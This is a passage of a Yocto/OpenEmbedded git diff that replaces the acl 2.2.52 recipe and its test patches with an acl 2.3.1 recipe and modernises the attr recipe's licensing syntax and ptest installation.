-$ ls include/ -l
-acl -> .
-sys -> .
-
-So if "libacl" target runs before "include", the error would happen
-since no "acl" or "sys" directory.
-
-Let libacl depend on include can fix the problem.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index dce32d3..8a79379 100644
---- a/Makefile
-+++ b/Makefile
-@@ -48,7 +48,7 @@ else
- endif
-
- # tool/lib dependencies
--libacl: libmisc
-+libacl: include libmisc
- getfacl setfacl chacl: libacl
-
- ifeq ($(HAVE_BUILDDEFS), yes)
---
-2.10.2
-
diff --git a/meta/recipes-support/attr/acl/acl-fix-the-order-of-expected-output-of-getfacl.patch b/meta/recipes-support/attr/acl/acl-fix-the-order-of-expected-output-of-getfacl.patch
deleted file mode 100644
index cf765fdbb8..0000000000
--- a/meta/recipes-support/attr/acl/acl-fix-the-order-of-expected-output-of-getfacl.patch
+++ /dev/null
@@ -1,198 +0,0 @@
-acl: fix the order of expected output of getfacl
-
-The result of getfacl is sorted by user id.
-In Centos or RHEL, bin user id is 1 and daemon user id is 2.
-But in our image, bin user id is 2 and daemon user id is 1.
-The patch fixes this issue to make ptest pass.
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Chong Lu <Chong.Lu@windriver.com>
----
- test/misc.test | 38 +++++++++++++++++++-------------------
- 1 file changed, 19 insertions(+), 19 deletions(-)
-
-diff --git a/test/misc.test b/test/misc.test
-index 6e98053..53ae5b0 100644
---- a/test/misc.test
-+++ b/test/misc.test
-@@ -79,8 +79,8 @@ Multiple users
-
- $ getfacl --omit-header f
- > user::rw-
-- > user:bin:rw-
- > user:daemon:r--
-+ > user:bin:rw-
- > group::r--
- > mask::rw-
- > other::r--
-@@ -94,8 +94,8 @@ Multiple groups
-
- $ getfacl --omit-header f
- > user::rw-
-- > user:bin:rw-
- > user:daemon:r--
-+ > user:bin:rw-
- > group::r--
- > group:daemon:r--
- > group:users:rw-
-@@ -111,8 +111,8 @@ Remove one group
-
- $ getfacl --omit-header f
- > user::rw-
-- > user:bin:rw-
- > user:daemon:r--
-+ > user:bin:rw-
- > group::r--
- > group:daemon:r--
- > mask::rw-
-@@ -146,8 +146,8 @@ Default ACL
-
- $ getfacl --omit-header d
- > user::rwx
-- > user:bin:rwx
- > user:daemon:rw-
-+ > user:bin:rwx
- > group::r-x
- > mask::rwx
- > other::---
-@@ -236,16 +236,16 @@ Add some users and groups
-
- $ getfacl --omit-header d/d
- > user::rwx
-- > user:bin:rwx #effective:r-x
- > user:daemon:r-x
-+ > user:bin:rwx #effective:r-x
- > group::r-x
- > group:daemon:rwx #effective:r-x
- > group:users:r-x
- > mask::r-x
- > other::---
- > default:user::rwx
-- > default:user:bin:rwx #effective:r-x
- > default:user:daemon:r-x
-+ > default:user:bin:rwx #effective:r-x
- > default:group::r-x
- > default:mask::r-x
- > default:other::---
-@@ -262,16 +262,16 @@ Symlink in directory with default ACL?
-
- $ getfacl --omit-header d/l
- > user::rwx
-- > user:bin:rwx #effective:r-x
- > user:daemon:r-x
-+ > user:bin:rwx #effective:r-x
- > group::r-x
- > group:daemon:rwx #effective:r-x
- > group:users:r-x
- > mask::r-x
- > other::---
- > default:user::rwx
-- > default:user:bin:rwx #effective:r-x
- > default:user:daemon:r-x
-+ > default:user:bin:rwx #effective:r-x
- > default:group::r-x
- > default:mask::r-x
- > default:other::---
-@@ -287,16 +287,16 @@ Does mask manipulation work?
-
- $ getfacl --omit-header d/d
- > user::rwx
-- > user:bin:r-x
- > user:daemon:r-x
-+ > user:bin:r-x
- > group::r-x
- > group:daemon:r-x
- > group:users:r-x
- > mask::r-x
- > other::---
- > default:user::rwx
-- > default:user:bin:rwx #effective:r-x
- > default:user:daemon:r-x
-+ > default:user:bin:rwx #effective:r-x
- > default:group::r-x
- > default:mask::r-x
- > default:other::---
-@@ -308,16 +308,16 @@ Does mask manipulation work?
-
- $ getfacl --omit-header d/d
- > user::rwx
-- > user:bin:r-x
- > user:daemon:r-x
-+ > user:bin:r-x
- > group::r-x
- > group:daemon:r-x
- > group:users:r-x
- > mask::r-x
- > other::---
- > default:user::rwx
-- > default:user:bin:rwx
- > default:user:daemon:r-x
-+ > default:user:bin:rwx
- > default:group::r-x
- > default:mask::rwx
- > default:other::---
-@@ -333,8 +333,8 @@ Remove the default ACL
-
- $ getfacl --omit-header d
- > user::rwx
-- > user:bin:rwx
- > user:daemon:rw-
-+ > user:bin:rwx
- > group::r-x
- > mask::rwx
- > other::---
-@@ -373,14 +373,14 @@ Now, chmod should change the group_obj entry
-
- $ getfacl --omit-header d
- > user::rwx
-- > user:bin:r-x
- > user:daemon:rwx
-+ > user:bin:r-x
- > group::rwx
- > mask::rwx
- > other::r-x
- > default:user::rwx
-- > default:user:bin:r-x
- > default:user:daemon:rwx
-+ > default:user:bin:r-x
- > default:group::rwx
- > default:mask::rwx
- > default:other::r-x
-@@ -392,14 +392,14 @@ Now, chmod should change the group_obj entry
-
- $ getfacl --omit-header d
- > user::rwx
-- > user:bin:r-x
- > user:daemon:rwx #effective:r-x
-+ > user:bin:r-x
- > group::rwx #effective:r-x
- > mask::r-x
- > other::---
- > default:user::rwx
-- > default:user:bin:r-x
- > default:user:daemon:rwx
-+ > default:user:bin:r-x
- > default:group::rwx
- > default:mask::rwx
- > default:other::r-x
-@@ -411,14 +411,14 @@ Now, chmod should change the group_obj entry
-
- $ getfacl --omit-header d
- > user::rwx
-- > user:bin:r-x
- > user:daemon:rwx #effective:r-x
-+ > user:bin:r-x
- > group::rwx #effective:r-x
- > mask::r-x
- > other::---
- > default:user::rwx
-- > default:user:bin:r-x
- > default:user:daemon:rwx
-+ > default:user:bin:r-x
- > default:group::rwx
- > default:mask::rwx
- > default:other::r-x
---
-1.7.9.5
-
diff --git a/meta/recipes-support/attr/acl/configure.ac b/meta/recipes-support/attr/acl/configure.ac
deleted file mode 100644
index 7af2e8d886..0000000000
--- a/meta/recipes-support/attr/acl/configure.ac
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright (C) 2009 Andreas Gruenbacher <agruen@suse.de>
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU General Public License as published by
-# the Free Software Foundation, either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program. If not, see <http://www.gnu.org/licenses/>.
-#
-AC_INIT(include/acl.h)
-AC_CONFIG_AUX_DIR([.])
-AC_CONFIG_MACRO_DIR([m4])
-AC_CONFIG_HEADER(include/config.h)
-AC_PREFIX_DEFAULT(/usr)
-
-AC_PROG_LIBTOOL
-
-AC_ARG_ENABLE(shared,
-[ --enable-shared=[yes/no] Enable use of shared libraries [default=yes]],,
- enable_shared=yes)
-AC_SUBST(enable_shared)
-
-AC_ARG_ENABLE(gettext,
-[ --enable-gettext=[yes/no] Enable alternate language support [default=yes]],,
- enable_gettext=yes)
-AC_SUBST(enable_gettext)
-
-AC_ARG_ENABLE(lib64,
-[ --enable-lib64=[yes/no] Enable lib64 support [default=no]],,
- enable_lib64=no)
-AC_SUBST(enable_lib64)
-
-AC_PACKAGE_GLOBALS(acl)
-AC_PACKAGE_UTILITIES(acl)
-AC_PACKAGE_NEED_ATTR_XATTR_H
-AC_PACKAGE_NEED_ATTR_ERROR_H
-AC_MULTILIB($enable_lib64)
-AC_PACKAGE_NEED_GETXATTR_LIBATTR
-AC_MANUAL_FORMAT
-
-AC_FUNC_GCC_VISIBILITY
-
-AC_OUTPUT(include/builddefs)
diff --git a/meta/recipes-support/attr/acl/run-ptest b/meta/recipes-support/attr/acl/run-ptest
index a56946d8e6..4312823365 100644
--- a/meta/recipes-support/attr/acl/run-ptest
+++ b/meta/recipes-support/attr/acl/run-ptest
@@ -4,61 +4,7 @@
#umask 077
-EXT3_IMAGE=ext3.img
-EXT3_MOUNT_POINT=/mnt/ext3
+mkdir -p /tmp/acl-ptest/test
+cp test/test.* /tmp/acl-ptest/test
-trap 'rm -f ${EXT3_IMAGE}' EXIT
-
-dd if=/dev/zero of=${EXT3_IMAGE} bs=1M count=1
-if [ "$?" -eq 0 ]; then
- echo "PASS: dump ext3.img"
-else
- echo "FAIL: dump ext3.img"
- exit 1
-fi
-
-mkfs.ext3 -F ${EXT3_IMAGE}
-if [ "$?" -eq 0 ]; then
- echo "PASS: mkfs.ext3 -F ext3.img"
-else
- echo "FAIL: mkfs.ext3 -F ext3.img"
- exit 1
-fi
-
-if [ -d $EXT3_MOUNT_POINT ]; then
- echo "mount point exist"
-else
- mkdir -p $EXT3_MOUNT_POINT
-fi
-
-
-mount -o loop,rw,acl ${EXT3_IMAGE} $EXT3_MOUNT_POINT
-if [ "$?" -eq 0 ]; then
- echo "PASS: mount ext3.img"
-else
- echo "FAIL: mount ext3.img"
- exit 1
-fi
-
-cp -rf ./test/ $EXT3_MOUNT_POINT
-
-cd $EXT3_MOUNT_POINT/test/
-
-if sed -e 's!^bin:x:2:$!bin:x:2:daemon!' < /etc/group > gtmp
-then if cp /etc/group group.orig;
- then cp gtmp /etc/group
- make -k tests root-tests | sed \
- -e 's|^\[.*\] \(.*\) -- ok$|PASS: \1|' \
- -e 's|^\[.*\] \(.*\) -- failed|FAIL: \1|'
- cp group.orig /etc/group
- else echo "FAIL: couldn't save original group file."
- exit 1
- fi
-else echo "FAIL: couldn't create modified group file."
- exit 1
-fi
-
-cd -
-umount $EXT3_MOUNT_POINT
-rm -rf $EXT3_MOUNT_POINT
-rm $EXT3_IMAGE
+make test-suite.log
diff --git a/meta/recipes-support/attr/acl/test-fix-directory-permissions.patch b/meta/recipes-support/attr/acl/test-fix-directory-permissions.patch
deleted file mode 100644
index e64990ad5b..0000000000
--- a/meta/recipes-support/attr/acl/test-fix-directory-permissions.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 311589fedf196168382d8f0db303ab328bcf9d83 Mon Sep 17 00:00:00 2001
-From: Peter Seebach <peter.seebach@windriver.com>
-Date: Wed, 11 May 2016 15:16:06 -0500
-Subject: [PATCH] acl.inc, run-ptest: improve ptest functionality on limited
-
-commit c45bae84817a70fef6c2b661a07a492a0d23ae85
-
- Fix permissions on temporary directory
-
- The temporary directory's permissions have to allow other users to
- view the directory. A default umask of 022 is common, but not mandatory,
- and secure systems may have more restrictive defaults.
-
- Signed-off-by: Peter Seebach <peter.seebach@windriver.com>
-
-Upstream-Status: Backport [ http://git.savannah.gnu.org/cgit/acl.git/commit/?id=c6772a958800de064482634f77c20a0faafc5af6 ]
-
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- test/root/permissions.test | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/test/root/permissions.test b/test/root/permissions.test
-index 42615f5..098b52a 100644
---- a/test/root/permissions.test
-+++ b/test/root/permissions.test
-@@ -16,6 +16,7 @@ Cry immediately if we are not running as root.
- First, set up a temporary directory and create a regular file with
- defined permissions.
-
-+ $ umask 022
- $ mkdir d
- $ cd d
- $ umask 027
---
-2.8.1
-
diff --git a/meta/recipes-support/attr/acl/test-fix-insufficient-quoting-of.patch b/meta/recipes-support/attr/acl/test-fix-insufficient-quoting-of.patch
deleted file mode 100644
index f392465b58..0000000000
--- a/meta/recipes-support/attr/acl/test-fix-insufficient-quoting-of.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From e98ce8acf84d12ea67a3ac76bf63c6d87d9af86d Mon Sep 17 00:00:00 2001
-From: Kamil Dudka <kdudka@redhat.com>
-Date: Mon, 20 May 2013 16:38:06 +0200
-Subject: [PATCH] test: fix insufficient quoting of '\'
-
-This is a follow-up to 7f2c91b8369242a8dbc2b304a5b71b2a85f5b855, which
-caused sbits-restore.test to fail in the following way in case SELinux
-was disabled:
-
-*** sbits-restore.test ***
-[3] $ umask 022 -- ok
-[4] $ mkdir d -- ok
-[5] $ touch d/g -- ok
-[6] $ touch d/u -- ok
-[7] $ chmod u+s d/u -- ok
-[8] $ chmod g+s d/g -- ok
-[9] $ chmod +t d -- ok
-[10] $ getfacl -R d > d.acl -- ok
-[11] $ rm -R d -- ok
-[12] $ mkdir d -- ok
-[13] $ touch d/g -- ok
-[14] $ touch d/u -- ok
-[15] $ setfacl --restore d.acl -- ok
-[16] $ ls -dl d | awk '{print $1}' | sed 's/.$//g' -- failed
-drwxr-xr- != drwxr-xr-t
-[18] $ ls -dl d/u | awk '{print $1}' | sed 's/.$//g' -- failed
--rwSr--r- != -rwSr--r--
-[20] $ ls -dl d/g | awk '{print $1}' | sed 's/.$//g' -- failed
--rw-r-Sr- != -rw-r-Sr--
-[22] $ rm -Rf d -- ok
-17 commands (14 passed, 3 failed)
-
-Upstream-Status: Backport
-http://git.savannah.gnu.org/cgit/acl.git/commit/?id=e98ce8acf84d12ea67a3ac76bf63c6d87d9af86d
-
-Signed-off-by: Kamil Dudka <kdudka@redhat.com>
-Signed-off-by: He Zhe <zhe.he@windriver.com>
-
-Index: acl-2.2.52/test/cp.test
-===================================================================
---- acl-2.2.52.orig/test/cp.test
-+++ acl-2.2.52/test/cp.test
-@@ -9,7 +9,7 @@ The cp utility should only copy ACLs if
- > -rw-rw-r--+
-
- $ cp f g
-- $ ls -l g | awk -- '{ print $1 }' | sed 's/\.$//g'
-+ $ ls -l g | awk -- '{ print $1 }' | sed 's/\\.$//g'
- > -rw-r--r--
-
- $ rm g
-Index: acl-2.2.52/test/misc.test
-===================================================================
---- acl-2.2.52.orig/test/misc.test
-+++ acl-2.2.52/test/misc.test
-@@ -254,7 +254,7 @@ Add some users and groups
- Symlink in directory with default ACL?
-
- $ ln -s d d/l
-- $ ls -dl d/l | awk '{print $1}' | sed 's/\.$//g'
-+ $ ls -dl d/l | awk '{print $1}' | sed 's/\\.$//g'
- > lrwxrwxrwx
-
- $ ls -dl -L d/l | awk '{print $1}'
-@@ -343,7 +343,7 @@ Remove the default ACL
- Reset to base entries
-
- $ setfacl -b d
-- $ ls -dl d | awk '{print $1}' | sed 's/\.$//g'
-+ $ ls -dl d | awk '{print $1}' | sed 's/\\.$//g'
- > drwxr-x---
-
- $ getfacl --omit-header d
-@@ -355,7 +355,7 @@ Reset to base entries
- Now, chmod should change the group_obj entry
-
- $ chmod 775 d
-- $ ls -dl d | awk '{print $1}' | sed 's/\.$//g'
-+ $ ls -dl d | awk '{print $1}' | sed 's/\\.$//g'
- > drwxrwxr-x
-
- $ getfacl --omit-header d
-Index: acl-2.2.52/test/sbits-restore.test
-===================================================================
---- acl-2.2.52.orig/test/sbits-restore.test
-+++ acl-2.2.52/test/sbits-restore.test
-@@ -13,10 +13,10 @@ Ensure setting of SUID/SGID/sticky via -
- $ touch d/g
- $ touch d/u
- $ setfacl --restore d.acl
-- $ ls -dl d | awk '{print $1}' | sed 's/\.$//g'
-+ $ ls -dl d | awk '{print $1}' | sed 's/\\.$//g'
- > drwxr-xr-t
-- $ ls -dl d/u | awk '{print $1}' | sed 's/\.$//g'
-+ $ ls -dl d/u | awk '{print $1}' | sed 's/\\.$//g'
- > -rwSr--r--
-- $ ls -dl d/g | awk '{print $1}' | sed 's/\.$//g'
-+ $ ls -dl d/g | awk '{print $1}' | sed 's/\\.$//g'
- > -rw-r-Sr--
- $ rm -Rf d
diff --git a/meta/recipes-support/attr/acl/test-fixups-on-SELinux-machines-for-root-testcases.patch b/meta/recipes-support/attr/acl/test-fixups-on-SELinux-machines-for-root-testcases.patch
deleted file mode 100644
index 8cc11a63e1..0000000000
--- a/meta/recipes-support/attr/acl/test-fixups-on-SELinux-machines-for-root-testcases.patch
+++ /dev/null
@@ -1,84 +0,0 @@
-From d2f49ee6fe4850b8dda5b08676b36201d3c43710 Mon Sep 17 00:00:00 2001
-From: He Zhe <zhe.he@windriver.com>
-Date: Wed, 2 Mar 2016 15:46:57 +0800
-Subject: [PATCH] test: fixups on SELinux machines for root testcases
-
-ls adds a '.' at the end of the permission field list on SELinux
-machines, filter this out so root tests work on SELinux machines.
-
-Upstream-Status: Accepted
-http://git.savannah.gnu.org/cgit/acl.git/commit/?id=26a87d36f80d5e98bccb5878834d9e69dadfe3e9
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- test/root/permissions.test | 8 ++++----
- test/root/restore.test | 2 +-
- test/root/setfacl.test | 2 +-
- 3 files changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/test/root/permissions.test b/test/root/permissions.test
-index 9b9e3de..665339a 100644
---- a/test/root/permissions.test
-+++ b/test/root/permissions.test
-@@ -19,7 +19,7 @@ defined permissions.
- $ cd d
- $ umask 027
- $ touch f
-- $ ls -l f | awk -- '{ print $1, $3, $4 }'
-+ $ ls -l f | awk -- '{ print $1, $3, $4 }' | sed 's/\\.//g'
- > -rw-r----- root root
-
-
-@@ -39,7 +39,7 @@ Now, change the ownership of the file to bin:bin and verify that this
- gives user bin write access.
-
- $ chown bin:bin f
-- $ ls -l f | awk -- '{ print $1, $3, $4 }'
-+ $ ls -l f | awk -- '{ print $1, $3, $4 }' | sed 's/\\.//g'
- > -rw-r----- bin bin
- $ su bin
- $ echo bin >> f
-@@ -256,12 +256,12 @@ directories if the file has an ACL and only CAP_FOWNER would grant them.
- $ mkdir -m 600 x
- $ chown daemon:daemon x
- $ echo j > x/j
-- $ ls -l x/j | awk -- '{ print $1, $3, $4 }'
-+ $ ls -l x/j | awk -- '{ print $1, $3, $4 }' | sed 's/\\.//g'
- > -rw-r----- root root
-
- $ setfacl -m u:daemon:r x
-
-- $ ls -l x/j | awk -- '{ print $1, $3, $4 }'
-+ $ ls -l x/j | awk -- '{ print $1, $3, $4 }' | sed 's/\\.//g'
- > -rw-r----- root root
- (With the bug this gives: `ls: x/j: Permission denied'.)
-
-diff --git a/test/root/restore.test b/test/root/restore.test
-index 63a9d01..c85097c 100644
---- a/test/root/restore.test
-+++ b/test/root/restore.test
-@@ -21,7 +21,7 @@ Cry immediately if we are not running as root.
- $ chown bin passwd
- $ chmod u+s passwd
- $ setfacl --restore passwd.acl
-- $ ls -dl passwd | awk '{print $1 " " $3 " " $4}'
-+ $ ls -dl passwd | awk '{print $1 " " $3 " " $4}' | sed 's/\\.//g'
- > -rwsr-xr-x root root
-
- $ rm passwd passwd.acl
-diff --git a/test/root/setfacl.test b/test/root/setfacl.test
-index a46a9f4..7efbad7 100644
---- a/test/root/setfacl.test
-+++ b/test/root/setfacl.test
-@@ -12,7 +12,7 @@ Cry immediately if we are not running as root.
- $ sg bin
- $ umask 027
- $ touch g
-- $ ls -dl g | awk '{print $1}'
-+ $ ls -dl g | awk '{print $1}' | sed 's/\\.//g'
- > -rw-r-----
-
- $ setfacl -m m:- g
---
-1.9.1
-
diff --git a/meta/recipes-support/attr/acl_2.2.52.bb b/meta/recipes-support/attr/acl_2.2.52.bb
deleted file mode 100644
index 6bc77d868d..0000000000
--- a/meta/recipes-support/attr/acl_2.2.52.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "Utilities for managing POSIX Access Control Lists"
-HOMEPAGE = "http://savannah.nongnu.org/projects/acl/"
-SECTION = "libs"
-
-LICENSE = "LGPLv2.1+ & GPLv2+"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_lib${BPN} = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://doc/COPYING;md5=c781d70ed2b4d48995b790403217a249 \
- file://doc/COPYING.LGPL;md5=9e9a206917f8af112da634ce3ab41764"
-
-DEPENDS = "attr"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/acl/${BP}.src.tar.gz \
- file://configure.ac;subdir=${BP} \
- file://run-ptest \
- file://acl-fix-the-order-of-expected-output-of-getfacl.patch \
- file://test-fix-insufficient-quoting-of.patch \
- file://test-fixups-on-SELinux-machines-for-root-testcases.patch \
- file://test-fix-directory-permissions.patch \
- file://Makefile-libacl-should-depend-on-include.patch \
-"
-
-SRC_URI[md5sum] = "a61415312426e9c2212bd7dc7929abda"
-SRC_URI[sha256sum] = "179074bb0580c06c4b4137be4c5a92a701583277967acdb5546043c7874e0d23"
-
-require ea-acl.inc
-
-# avoid RPATH hardcode to staging dir
-do_configure_append() {
- sed -i ${S}/config.status -e s,^\\\(hardcode_into_libs=\\\).*$,\\1\'no\',
- ${S}/config.status
-}
-
-# libdir should point to .la
-do_install_append() {
- sed -i ${D}${libdir}/libacl.la -e \
- s,^libdir=\'${base_libdir}\'$,libdir=\'${libdir}\',
-}
-
-inherit ptest
-
-PTEST_BUILD_HOST_FILES = "builddefs"
-PTEST_BUILD_HOST_PATTERN = "^RPM"
-do_install_ptest() {
- tar -c --exclude=nfs test/ | ( cd ${D}${PTEST_PATH} && tar -xf - )
- install -d ${D}${PTEST_PATH}/include
- install -m 644 ${S}/include/builddefs ${S}/include/buildmacros ${S}/include/buildrules ${D}${PTEST_PATH}/include/
-}
-
-RDEPENDS_${PN}-ptest = "acl bash coreutils perl perl-module-filehandle perl-module-getopt-std perl-module-posix shadow"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/acl_2.3.1.bb b/meta/recipes-support/attr/acl_2.3.1.bb
new file mode 100644
index 0000000000..aca04a9aac
--- /dev/null
+++ b/meta/recipes-support/attr/acl_2.3.1.bb
@@ -0,0 +1,78 @@
+SUMMARY = "Utilities for managing POSIX Access Control Lists"
+DESCRIPTION = "ACL allows you to provide different levels of access to files \
+and folders for different users."
+
+HOMEPAGE = "http://savannah.nongnu.org/projects/acl/"
+BUGTRACKER = "http://savannah.nongnu.org/bugs/?group=acl"
+
+SECTION = "libs"
+
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:lib${BPN} = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://doc/COPYING;md5=c781d70ed2b4d48995b790403217a249 \
+ file://doc/COPYING.LGPL;md5=9e9a206917f8af112da634ce3ab41764"
+
+DEPENDS = "attr"
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/acl/${BP}.tar.gz \
+ file://run-ptest \
+ file://0001-tests-do-not-hardcode-the-build-path-into-a-helper-l.patch \
+ file://0001-test-patch-out-failing-bits.patch \
+ "
+
+SRC_URI[sha256sum] = "760c61c68901b37fdd5eefeeaf4c0c7a26bdfdd8ac747a1edff1ce0e243c11af"
+
+inherit autotools gettext ptest
+
+PACKAGES =+ "lib${BPN}"
+
+FILES:lib${BPN} = "${libdir}/lib*${SOLIBS}"
+
+PTEST_BUILD_HOST_FILES = "builddefs"
+PTEST_BUILD_HOST_PATTERN = "^RPM"
+
+do_compile_ptest() {
+ oe_runmake libtestlookup.la
+}
+
+do_install_ptest() {
+ cp -rf ${S}/test/ ${D}${PTEST_PATH}
+ cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}
+ mkdir -p ${D}${PTEST_PATH}/.libs
+ cp -rf ${B}/.libs/libtestlookup* ${D}${PTEST_PATH}/.libs
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -i ${D}${PTEST_PATH}/Makefile
+
+ sed -i "s|^srcdir =.*|srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^Makefile:.*|Makefile:|g" ${D}${PTEST_PATH}/Makefile
+
+ rm ${D}${PTEST_PATH}/.libs/libtestlookup.lai
+}
+
+RDEPENDS:${PN}-ptest = "acl \
+ bash \
+ coreutils \
+ perl \
+ perl-module-filehandle \
+ perl-module-getopt-std \
+ perl-module-posix \
+ shadow \
+ make \
+ gawk \
+ e2fsprogs-mke2fs \
+ perl-module-cwd \
+ perl-module-file-basename \
+ perl-module-file-path \
+ perl-module-file-spec \
+ "
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/attr.inc b/meta/recipes-support/attr/attr.inc
index 3503d66b9e..a4e38f2b19 100644
--- a/meta/recipes-support/attr/attr.inc
+++ b/meta/recipes-support/attr/attr.inc
@@ -1,46 +1,65 @@
SUMMARY = "Utilities for manipulating filesystem extended attributes"
+DESCRIPTION = "Implement the ability for a user to attach name:value pairs to objects within the XFS filesystem."
+
HOMEPAGE = "http://savannah.nongnu.org/projects/attr/"
SECTION = "libs"
DEPENDS = "virtual/libintl"
-LICENSE = "LGPLv2.1+ & GPLv2+"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_lib${BPN} = "LGPLv2.1+"
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:lib${BPN} = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://doc/COPYING;md5=2d0aa14b3fce4694e4f615e30186335f \
- file://attr/attr.c;endline=17;md5=be0403261f0847e5f43ed5b08d19593c \
+ file://doc/COPYING.LGPL;md5=b8d31f339300bc239d73461d68e77b9c \
+ file://tools/attr.c;endline=17;md5=be0403261f0847e5f43ed5b08d19593c \
file://libattr/libattr.c;endline=17;md5=7970f77049f8fa1199fff62a7ab724fb"
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/attr/${BP}.src.tar.gz \
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/attr/${BP}.tar.gz \
file://run-ptest \
"
-require ea-acl.inc
+inherit ptest update-alternatives autotools gettext
-# libdir should point to .la
-do_install_append() {
- sed -i ${D}${libdir}/libattr.la -e \
- s,^libdir=\'${base_libdir}\'$,libdir=\'${libdir}\',
-}
+PACKAGES =+ "lib${BPN}"
-inherit ptest update-alternatives
+FILES:lib${BPN} = "${libdir}/lib*${SOLIBS}"
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "setfattr"
+ALTERNATIVE:${PN} = "setfattr"
ALTERNATIVE_TARGET[setfattr] = "${bindir}/setfattr"
PTEST_BUILD_HOST_FILES = "builddefs"
PTEST_BUILD_HOST_PATTERN = "^RPM"
do_install_ptest() {
- tar -c --exclude=ext test/ | ( cd ${D}${PTEST_PATH} && tar -xf - )
- mkdir ${D}${PTEST_PATH}/include
- for i in builddefs buildmacros buildrules; \
- do cp ${S}/include/$i ${D}${PTEST_PATH}/include/; \
- done
- sed -e 's|; @echo|; echo|' -i ${D}${PTEST_PATH}/test/Makefile
+ cp ${B}/Makefile ${D}${PTEST_PATH}
+ sed -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
+ -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
+ -i ${D}${PTEST_PATH}/Makefile
+
+ sed -i "s|^srcdir =.*|srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^abs_srcdir =.*|abs_srcdir = \.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^abs_top_srcdir =.*|abs_top_srcdir = \.\.|g" ${D}${PTEST_PATH}/Makefile
+ sed -i "s|^Makefile:.*|Makefile:|g" ${D}${PTEST_PATH}/Makefile
+ cp -rf ${S}/build-aux/ ${D}${PTEST_PATH}
+ cp -rf ${S}/test/ ${D}${PTEST_PATH}
}
-RDEPENDS_${PN}-ptest = "attr coreutils perl-module-filehandle perl-module-getopt-std perl-module-posix make perl"
+RDEPENDS:${PN}-ptest = "attr \
+ coreutils \
+ perl-module-filehandle \
+ perl-module-getopt-std \
+ perl-module-posix \
+ make \
+ perl \
+ gawk \
+ perl-module-cwd \
+ perl-module-file-basename \
+ perl-module-file-path \
+ perl-module-file-spec \
+ "
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/attr/0001-Use-stdint-types-consistently.patch b/meta/recipes-support/attr/attr/0001-Use-stdint-types-consistently.patch
deleted file mode 100644
index dcd6507bcc..0000000000
--- a/meta/recipes-support/attr/attr/0001-Use-stdint-types-consistently.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-From 37a27b6fd09ecb37097b85e5db74e4f77b80fe0a Mon Sep 17 00:00:00 2001
-From: Felix Janda <felix.janda@posteo.de>
-Date: Tue, 12 Jan 2016 22:20:33 +0100
-Subject: [PATCH] Use stdint types consistently
-
----
-Upstream-Status: Backport
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
- include/attributes.h | 6 ++++--
- man/man3/attr_list.3 | 8 ++++----
- 2 files changed, 8 insertions(+), 6 deletions(-)
-
-Index: attr-2.4.47/include/attributes.h
-===================================================================
---- attr-2.4.47.orig/include/attributes.h
-+++ attr-2.4.47/include/attributes.h
-@@ -22,6 +22,7 @@
- extern "C" {
- #endif
-
-+#include <stdint.h>
- /*
- * An almost-IRIX-compatible extended attributes API
- * (the IRIX attribute "list" operation is missing, added ATTR_SECURE).
-@@ -69,7 +70,7 @@ typedef struct attrlist {
- * al_offset[i] entry points to.
- */
- typedef struct attrlist_ent { /* data from attr_list() */
-- u_int32_t a_valuelen; /* number bytes in value of attr */
